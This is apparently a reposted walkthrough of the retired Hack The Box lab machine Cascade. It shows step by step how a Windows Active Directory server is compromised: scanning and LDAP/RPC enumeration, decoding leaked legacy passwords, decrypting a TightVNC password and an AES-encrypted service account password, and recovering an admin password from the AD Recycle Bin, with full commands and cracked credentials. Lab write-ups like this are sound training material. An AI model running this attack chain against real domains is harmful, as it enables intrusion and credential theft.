内容简介：This post documents the complete walkthrough of Cascade, a retired vulnerableCascade is a retired vulnerable VM from Hack The Box.Let’s start with a
This post documents the complete walkthrough of Cascade, a retired vulnerable VM created by VbScrub , and hosted at Hack The Box . If you are uncomfortable with spoilers, please stop reading now.
On this post
- Information Gathering
- Lightweight Directory Access Protocol (LDAP) Enumeration
- VNC Password Decryption
-
- SQLite 3 and .NET Disassembly
- Active Directory Recycle Bin
Background
Cascade is a retired vulnerable VM from Hack The Box.
Information Gathering
Let’s start with a masscan probe to establish the open ports in the host.
# masscan -e tun0 -p1-65535,U:1-65535 10.10.10.182 --rate=500 Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-03-29 10:16:44 GMT -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth Initiating SYN Stealth Scan Scanning 1 hosts [131070 ports/host] Discovered open port 636/tcp on 10.10.10.182 Discovered open port 49154/tcp on 10.10.10.182 Discovered open port 3269/tcp on 10.10.10.182 Discovered open port 53/tcp on 10.10.10.182 Discovered open port 389/tcp on 10.10.10.182 Discovered open port 139/tcp on 10.10.10.182 Discovered open port 88/tcp on 10.10.10.182 Discovered open port 49155/tcp on 10.10.10.182 Discovered open port 135/tcp on 10.10.10.182 Discovered open port 49173/tcp on 10.10.10.182 Discovered open port 49158/tcp on 10.10.10.182 Discovered open port 445/tcp on 10.10.10.182 Discovered open port 3268/tcp on 10.10.10.182 Discovered open port 53/udp on 10.10.10.182 Discovered open port 49157/tcp on 10.10.10.182 Discovered open port 5985/tcp on 10.10.10.182
The list of open ports resembles that of a Windows machine. Let’s do one better with nmap scanning the discovered ports to establish their services.
# nmap -n -v -Pn -p53,88,135,139,389,445,636,3268,3269,5985,49154,49155,49157,49158,49173 -A --reason 10.10.10.182 -oN nmap.txt ... PORT STATE SERVICE REASON VERSION 53/tcp open domain syn-ack ttl 127 Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1) | dns-nsid: |_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39) 88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2020-03-29 10:22:45Z) 135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn 389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name) 445/tcp open microsoft-ds? syn-ack ttl 127 636/tcp open tcpwrapped syn-ack ttl 127 3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped syn-ack ttl 127 5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49154/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49155/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49157/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0 49158/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49173/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Looks like we have a Windows Active Directory server.
RPC Enumeration
Since RPC is available, let’s see what the good ol’ rpcclient reveals.
# rpcclient -U% -c enumdomusers 10.10.10.182 user:[CascGuest] rid:[0x1f5] user:[arksvc] rid:[0x452] user:[s.smith] rid:[0x453] user:[r.thompson] rid:[0x455] user:[util] rid:[0x457] user:[j.wakefield] rid:[0x45c] user:[s.hickson] rid:[0x461] user:[j.goodhand] rid:[0x462] user:[a.turnbull] rid:[0x464] user:[e.crowe] rid:[0x467] user:[b.hanson] rid:[0x468] user:[d.burman] rid:[0x469] user:[BackupSvc] rid:[0x46a] user:[j.allen] rid:[0x46e] user:[i.croft] rid:[0x46f]
Cool. We have a list of users. Now, we are going for the low hanging fruit: TGTs for users with the “Do not require Kerberos pre-authentication” set.
# for user in $(cat usernames.txt); do python3 GetNPUsers.py -no-pass -dc-ip 10.10.10.182 "cascade/$user"; done Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation [*] Getting TGT for CascGuest [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked) Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation [*] Getting TGT for arksvc [-] User arksvc doesn't have UF_DONT_REQUIRE_PREAUTH set Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation [*] Getting TGT for s.smith [-] User s.smith doesn't have UF_DONT_REQUIRE_PREAUTH set Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation [*] Getting TGT for r.thompson [-] User r.thompson doesn't have UF_DONT_REQUIRE_PREAUTH set Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation [*] Getting TGT for util [-] User util doesn't have UF_DONT_REQUIRE_PREAUTH set Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation [*] Getting TGT for j.wakefield [-] User j.wakefield doesn't have UF_DONT_REQUIRE_PREAUTH set Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation [*] Getting TGT for s.hickson [-] User s.hickson doesn't have UF_DONT_REQUIRE_PREAUTH set Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation [*] Getting TGT for j.goodhand [-] User j.goodhand doesn't have UF_DONT_REQUIRE_PREAUTH set Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation [*] Getting TGT for a.turnbull [-] User a.turnbull doesn't have UF_DONT_REQUIRE_PREAUTH set Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation [*] Getting TGT for e.crowe [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked) Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation [*] Getting TGT for b.hanson [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked) Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation [*] Getting TGT for d.burman [-] User d.burman doesn't have UF_DONT_REQUIRE_PREAUTH set Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation [*] Getting TGT for BackupSvc [-] User BackupSvc doesn't have UF_DONT_REQUIRE_PREAUTH set Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation [*] Getting TGT for j.allen [-] User j.allen doesn't have UF_DONT_REQUIRE_PREAUTH set Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation [*] Getting TGT for i.croft [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
Hmm. No easy path in. Don’t worry, let’s check the domain password policy.
# rpcclient -U% -c getdompwinfo 10.10.10.182 min_password_length: 5 password_properties: 0x00000000
OK. Looks like we have a simple password policy. What else can we find?
Lightweight Directory Access Protocol (LDAP) Enumeration
Truth be told, one can actually use the Lightweight Directory Access Protocol (LDAP) to talk to Active Directory. Let’s see what can we glean with ldapsearch .
# ldapsearch -h 10.10.10.182 -x -b "dc=cascade,dc=local" ... # Ryan Thompson, Users, UK, cascade.local dn: CN=Ryan Thompson,OU=Users,OU=UK,DC=cascade,DC=local objectClass: top objectClass: person objectClass: organizationalPerson objectClass: user cn: Ryan Thompson sn: Thompson givenName: Ryan distinguishedName: CN=Ryan Thompson,OU=Users,OU=UK,DC=cascade,DC=local instanceType: 4 whenCreated: 20200109193126.0Z whenChanged: 20200323112031.0Z displayName: Ryan Thompson uSNCreated: 24610 memberOf: CN=IT,OU=Groups,OU=UK,DC=cascade,DC=local uSNChanged: 295010 name: Ryan Thompson objectGUID:: LfpD6qngUkupEy9bFXBBjA== userAccountControl: 66048 badPwdCount: 0 codePage: 0 countryCode: 0 badPasswordTime: 132299650192994271 lastLogoff: 0 lastLogon: 132299662254155455 pwdLastSet: 132230718862636251 primaryGroupID: 513 objectSid:: AQUAAAAAAAUVAAAAMvuhxgsd8Uf1yHJFVQQAAA== accountExpires: 9223372036854775807 logonCount: 2 sAMAccountName: r.thompson sAMAccountType: 805306368 userPrincipalName: <a href="/cdn-cgi/l/email-protection" data-cfemail="3d4f13495552504d4e52537d5e5c4e5e5c59581351525e5c51">[email protected]</a> objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=cascade,DC=local dSCorePropagationData: 20200126183918.0Z dSCorePropagationData: 20200119174753.0Z dSCorePropagationData: 20200119174719.0Z dSCorePropagationData: 20200119174508.0Z dSCorePropagationData: 16010101000000.0Z lastLogonTimestamp: 132294360317419816 msDS-SupportedEncryptionTypes: 0 cascadeLegacyPwd: clk0bjVldmE=
Looks like someone is using an old password! The password can be decoded like so.
# echo -n clk0bjVldmE= | base64 -d; echo rY4n5eva
Let’s see what else can we enumerate now that we have credential ( r.thompson:rY4n5eva ).
SMB Enumeration
I’ve heard so many good things about CrackMapExec (CME) but never had the chance to use it. Now is a wonderful opportunity.
We have a share! Time to mount the share and enumerate further to our hearts’ content. To mount a SMB share in Linux, we can use the command mount like so.
# mkdir Data; mount -t cifs -o rw,username=r.thompson,password=rY4n5eva //10.10.10.182/Data ./Data # ls -laR Data/ Data/: total 8 drwxr-xr-x 2 root root 4096 Jan 27 03:27 . drwxr-xr-x 3 root root 4096 Mar 29 16:11 .. drwxr-xr-x 2 root root 0 Jan 13 01:45 Contractors drwxr-xr-x 2 root root 0 Jan 13 01:45 Finance drwxr-xr-x 2 root root 0 Jan 28 18:04 IT drwxr-xr-x 2 root root 0 Jan 13 01:45 Production drwxr-xr-x 2 root root 0 Jan 13 01:45 Temps Data/Contractors: ls: reading directory 'Data/Contractors': Permission denied total 0 Data/Finance: ls: reading directory 'Data/Finance': Permission denied total 0 Data/IT: total 4 drwxr-xr-x 2 root root 0 Jan 28 18:04 . drwxr-xr-x 2 root root 4096 Jan 27 03:27 .. drwxr-xr-x 2 root root 0 Jan 28 18:00 'Email Archives' drwxr-xr-x 2 root root 0 Jan 28 18:04 LogonAudit drwxr-xr-x 2 root root 0 Jan 29 00:53 Logs drwxr-xr-x 2 root root 0 Jan 28 22:06 Temp 'Data/IT/Email Archives': total 4 drwxr-xr-x 2 root root 0 Jan 28 18:00 . drwxr-xr-x 2 root root 0 Jan 28 18:04 .. -rwxr-xr-x 1 root root 2522 Jan 28 18:00 Meeting_Notes_June_2018.html Data/IT/LogonAudit: total 4 drwxr-xr-x 2 root root 0 Jan 28 18:04 . drwxr-xr-x 2 root root 4096 Jan 28 18:04 .. Data/IT/Logs: total 8 drwxr-xr-x 2 root root 4096 Jan 29 00:53 . drwxr-xr-x 2 root root 4096 Jan 28 18:04 .. drwxr-xr-x 2 root root 0 Jan 10 16:33 'Ark AD Recycle Bin' drwxr-xr-x 2 root root 0 Jan 29 00:56 DCs 'Data/IT/Logs/Ark AD Recycle Bin': total 8 drwxr-xr-x 2 root root 0 Jan 10 16:33 . drwxr-xr-x 2 root root 4096 Jan 29 00:53 .. -rwxr-xr-x 1 root root 1303 Jan 29 01:19 ArkAdRecycleBin.log Data/IT/Logs/DCs: total 12 drwxr-xr-x 2 root root 0 Jan 29 00:56 . drwxr-xr-x 2 root root 4096 Jan 29 00:53 .. -rwxr-xr-x 1 root root 5967 Jan 10 16:17 dcdiag.log Data/IT/Temp: total 4 drwxr-xr-x 2 root root 0 Jan 28 22:06 . drwxr-xr-x 2 root root 4096 Jan 28 18:04 .. drwxr-xr-x 2 root root 0 Jan 28 22:06 r.thompson drwxr-xr-x 2 root root 0 Jan 28 20:00 s.smith Data/IT/Temp/r.thompson: total 0 drwxr-xr-x 2 root root 0 Jan 28 22:06 . drwxr-xr-x 2 root root 0 Jan 28 22:06 .. Data/IT/Temp/s.smith: total 4 drwxr-xr-x 2 root root 0 Jan 28 20:00 . drwxr-xr-x 2 root root 0 Jan 28 22:06 .. -rwxr-xr-x 1 root root 2680 Jan 28 19:27 'VNC Install.reg' Data/Production: ls: reading directory 'Data/Production': Permission denied total 0 Data/Temps: ls: reading directory 'Data/Temps': Permission denied total 0
I wonder what’s in these files?
Meeting_Notes_June_2018.html
ArkAdRecycleBin.log
1/10/2018 15:43 [MAIN_THREAD] ** STARTING - ARK AD RECYCLE BIN MANAGER v1.2.2 ** 1/10/2018 15:43 [MAIN_THREAD] Validating settings... 1/10/2018 15:43 [MAIN_THREAD] Error: Access is denied 1/10/2018 15:43 [MAIN_THREAD] Exiting with error code 5 2/10/2018 15:56 [MAIN_THREAD] ** STARTING - ARK AD RECYCLE BIN MANAGER v1.2.2 ** 2/10/2018 15:56 [MAIN_THREAD] Validating settings... 2/10/2018 15:56 [MAIN_THREAD] Running as user CASCADE\ArkSvc 2/10/2018 15:56 [MAIN_THREAD] Moving object to AD recycle bin CN=Test,OU=Users,OU=UK,DC=cascade,DC=local 2/10/2018 15:56 [MAIN_THREAD] Successfully moved object. New location CN=Test\0ADEL:ab073fb7-6d91-4fd1-b877-817b9e1b0e6d,CN=Deleted Objects,DC=cascade,DC=local 2/10/2018 15:56 [MAIN_THREAD] Exiting with error code 0 8/12/2018 12:22 [MAIN_THREAD] ** STARTING - ARK AD RECYCLE BIN MANAGER v1.2.2 ** 8/12/2018 12:22 [MAIN_THREAD] Validating settings... 8/12/2018 12:22 [MAIN_THREAD] Running as user CASCADE\ArkSvc 8/12/2018 12:22 [MAIN_THREAD] Moving object to AD recycle bin CN=TempAdmin,OU=Users,OU=UK,DC=cascade,DC=local 8/12/2018 12:22 [MAIN_THREAD] Successfully moved object. New location CN=TempAdmin\0ADEL:f0cc344d-31e0-4866-bceb-a842791ca059,CN=Deleted Objects,DC=cascade,DC=local 8/12/2018 12:22 [MAIN_THREAD] Exiting with error code 0
Nothing interesting with dcdiag.log so I’ll skip it—it’s a wall of text.
Last but not least.
VNC Install.reg
Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC] [HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server] "ExtraPorts"="" "QueryTimeout"=dword:0000001e "QueryAcceptOnTimeout"=dword:00000000 "LocalInputPriorityTimeout"=dword:00000003 "LocalInputPriority"=dword:00000000 "BlockRemoteInput"=dword:00000000 "BlockLocalInput"=dword:00000000 "IpAccessControl"="" "RfbPort"=dword:0000170c "HttpPort"=dword:000016a8 "DisconnectAction"=dword:00000000 "AcceptRfbConnections"=dword:00000001 "UseVncAuthentication"=dword:00000001 "UseControlAuthentication"=dword:00000000 "RepeatControlAuthentication"=dword:00000000 "LoopbackOnly"=dword:00000000 "AcceptHttpConnections"=dword:00000001 "LogLevel"=dword:00000000 "EnableFileTransfers"=dword:00000001 "RemoveWallpaper"=dword:00000001 "UseD3D"=dword:00000001 "UseMirrorDriver"=dword:00000001 "EnableUrlParams"=dword:00000001 "Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f "AlwaysShared"=dword:00000000 "NeverShared"=dword:00000000 "DisconnectClients"=dword:00000001 "PollingInterval"=dword:000003e8 "AllowLoopback"=dword:00000000 "VideoRecognitionInterval"=dword:00000bb8 "GrabTransparentWindows"=dword:00000001 "SaveLogToAllUsersPath"=dword:00000000 "RunControlInterface"=dword:00000001 "IdleTimeout"=dword:00000000 "VideoClasses"="" "VideoRects"=""
What have we here. VNC password??!!
VNC Password Decryption
We can easily reveal the plaintext password with vncpwd even though it’s encrypted.
# echo -n 6b,cf,2a,4b,6e,5a,ca,0f | tr -d ',' | xxd -p -r > s.smith.vnc && ./vncpwd s.smith.vnc Password: sT333ve2
Low-Privilege Shell
Armed with s.smith ’s password, we can use Evil-WinRM to get us a shell. That’s because s.smith is a member of the Remote Management Users group.
Awesome. The file user.txt is at s.smith ’s desktop.
Privilege Escalation
During enumeration of s.smith ’s account, I notice he can access a hidden share. Recall the LDAP enumeration? There’s actually a foreshadowing of the things to come.
Check this out.
These three files, Audit.db , CascAudit.exe and CascCrypto.dll look interesting. Better copy them to my analysis machine for somes dissection. I’ll leave it as an exercise how to transfer the files over. Hint : nc.exe from Kali Linux.
SQLite 3 and .NET Disassembly
Turns out that Audit.db is a SQLite3 file.
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE IF NOT EXISTS "Ldap" (
"Id" INTEGER PRIMARY KEY AUTOINCREMENT,
"uname" TEXT,
"pwd" TEXT,
"domain" TEXT
);
INSERT INTO Ldap VALUES(1,'ArkSvc','BQO5l5Kj9MdErXx6Q6AGOw==','cascade.local');
CREATE TABLE IF NOT EXISTS "Misc" (
"Id" INTEGER PRIMARY KEY AUTOINCREMENT,
"Ext1" TEXT,
"Ext2" TEXT
);
CREATE TABLE IF NOT EXISTS "DeletedUserAudit" (
"Id" INTEGER PRIMARY KEY AUTOINCREMENT,
"Username" TEXT,
"Name" TEXT,
"DistinguishedName" TEXT
);
INSERT INTO DeletedUserAudit VALUES(6,'test',replace('Test\nDEL:ab073fb7-6d91-4fd1-b877-817b9e1b0e6d','\n',char(10)),'CN=Test\0ADEL:ab073fb7-6d91-4fd1-b877-817b9e1b0e6d,CN=Deleted Objects,DC=cascade,DC=local');
INSERT INTO DeletedUserAudit VALUES(7,'deleted',replace('deleted guy\nDEL:8cfe6d14-caba-4ec0-9d3e-28468d12deef','\n',char(10)),'CN=deleted guy\0ADEL:8cfe6d14-caba-4ec0-9d3e-28468d12deef,CN=Deleted Objects,DC=cascade,DC=local');
INSERT INTO DeletedUserAudit VALUES(9,'TempAdmin',replace('TempAdmin\nDEL:5ea231a1-5bb4-4917-b07a-75a57f4c188a','\n',char(10)),'CN=TempAdmin\0ADEL:5ea231a1-5bb4-4917-b07a-75a57f4c188a,CN=Deleted Objects,DC=cascade,DC=local');
DELETE FROM sqlite_sequence;
INSERT INTO sqlite_sequence VALUES('Ldap',2);
INSERT INTO sqlite_sequence VALUES('DeletedUserAudit',10);
COMMIT;
Looks like arksvc uses CascAudit.exe to delete users. This appears to corroborate with the ArkAdRecycleBin.log seen previously.
Long story short, CasCrypto.dll has a Crypto class with a DecryptString method that decrypts arksvc ’s password.
We have all we need to decrypt the password like so.
# echo -n BQO5l5Kj9MdErXx6Q6AGOw== | base64 -d | openssl enc -aes-128-cbc -d -nosalt -nopad -K $(echo -n c4scadek3y654321 | iconv -t UTF-8 | xxd -p) -iv $(echo -n 1tdyjCbY1Ix49842 | iconv -t UTF-8 | xxd -p); echo w3lc0meFr31nd
We now have arksvc ’s credential ( arksvc:w3lc0meFr31nd ). arksvc is also a member of the Remote Management Users group. Let’s login with Evil-WinRM.
Sweet.
Active Directory Recycle Bin
The assumption here is that Active Directory Recycle Bin is enabled for this server and that TempAdmin has been deleted and placed in the Active Directory Recycle Bin. We have also previously established the fact that arksvc is a member of the AD Recycle Bin group and should possess the permissions to query deleted objects.
We can search for deleted objects with the Get-ADObject cmdlet like so.
Get-ADObject -Filter 'displayName -eq "TempAdmin"' -SearchBase "CN=Deleted Objects,DC=cascade,DC=local" -IncludeDeleted -Properties * | fl
accountExpires : 9223372036854775807
badPasswordTime : 0
badPwdCount : 0
CanonicalName : cascade.local/Deleted Objects/TempAdmin
DEL:f0cc344d-31e0-4866-bceb-a842791ca059
cascadeLegacyPwd : YmFDVDNyMWFOMDBkbGVz
CN : TempAdmin
DEL:f0cc344d-31e0-4866-bceb-a842791ca059
codePage : 0
countryCode : 0
Created : 1/27/2020 3:23:08 AM
createTimeStamp : 1/27/2020 3:23:08 AM
Deleted : True
Description :
DisplayName : TempAdmin
DistinguishedName : CN=TempAdmin\0ADEL:f0cc344d-31e0-4866-bceb-a842791ca059,CN=Deleted Objects,DC=cascade,DC=local
dSCorePropagationData : {1/27/2020 3:23:08 AM, 1/1/1601 12:00:00 AM}
givenName : TempAdmin
instanceType : 4
isDeleted : True
LastKnownParent : OU=Users,OU=UK,DC=cascade,DC=local
lastLogoff : 0
lastLogon : 0
logonCount : 0
Modified : 1/27/2020 3:24:34 AM
modifyTimeStamp : 1/27/2020 3:24:34 AM
msDS-LastKnownRDN : TempAdmin
Name : TempAdmin
DEL:f0cc344d-31e0-4866-bceb-a842791ca059
nTSecurityDescriptor : System.DirectoryServices.ActiveDirectorySecurity
ObjectCategory :
ObjectClass : user
ObjectGUID : f0cc344d-31e0-4866-bceb-a842791ca059
objectSid : S-1-5-21-3332504370-1206983947-1165150453-1136
primaryGroupID : 513
ProtectedFromAccidentalDeletion : False
pwdLastSet : 132245689883479503
sAMAccountName : TempAdmin
sDRightsEffective : 0
userAccountControl : 66048
userPrincipalName : <a href="/cdn-cgi/l/email-protection" data-cfemail="85d1e0e8f5c4e1e8ecebc5e6e4f6e6e4e1e0abe9eae6e4e9">[email protected]</a>
uSNChanged : 237705
uSNCreated : 237695
whenChanged : 1/27/2020 3:24:34 AM
whenCreated : 1/27/2020 3:23:08 AM
Another cacadeLegacyPwd attribute??!! Decode it like so.
# echo -n YmFDVDNyMWFOMDBkbGVz | base64 -d; echo baCT3r1aN00dles
Recall in the email this is the same password as the administrator password? I sense the end is near…
Indeed. Getting root.txt is one command away.
以上所述就是小编给大家介绍的《Cascade: Hack The Box Walkthrough》，希望对大家有所帮助，如果大家有任何疑问请给我留言，小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持！
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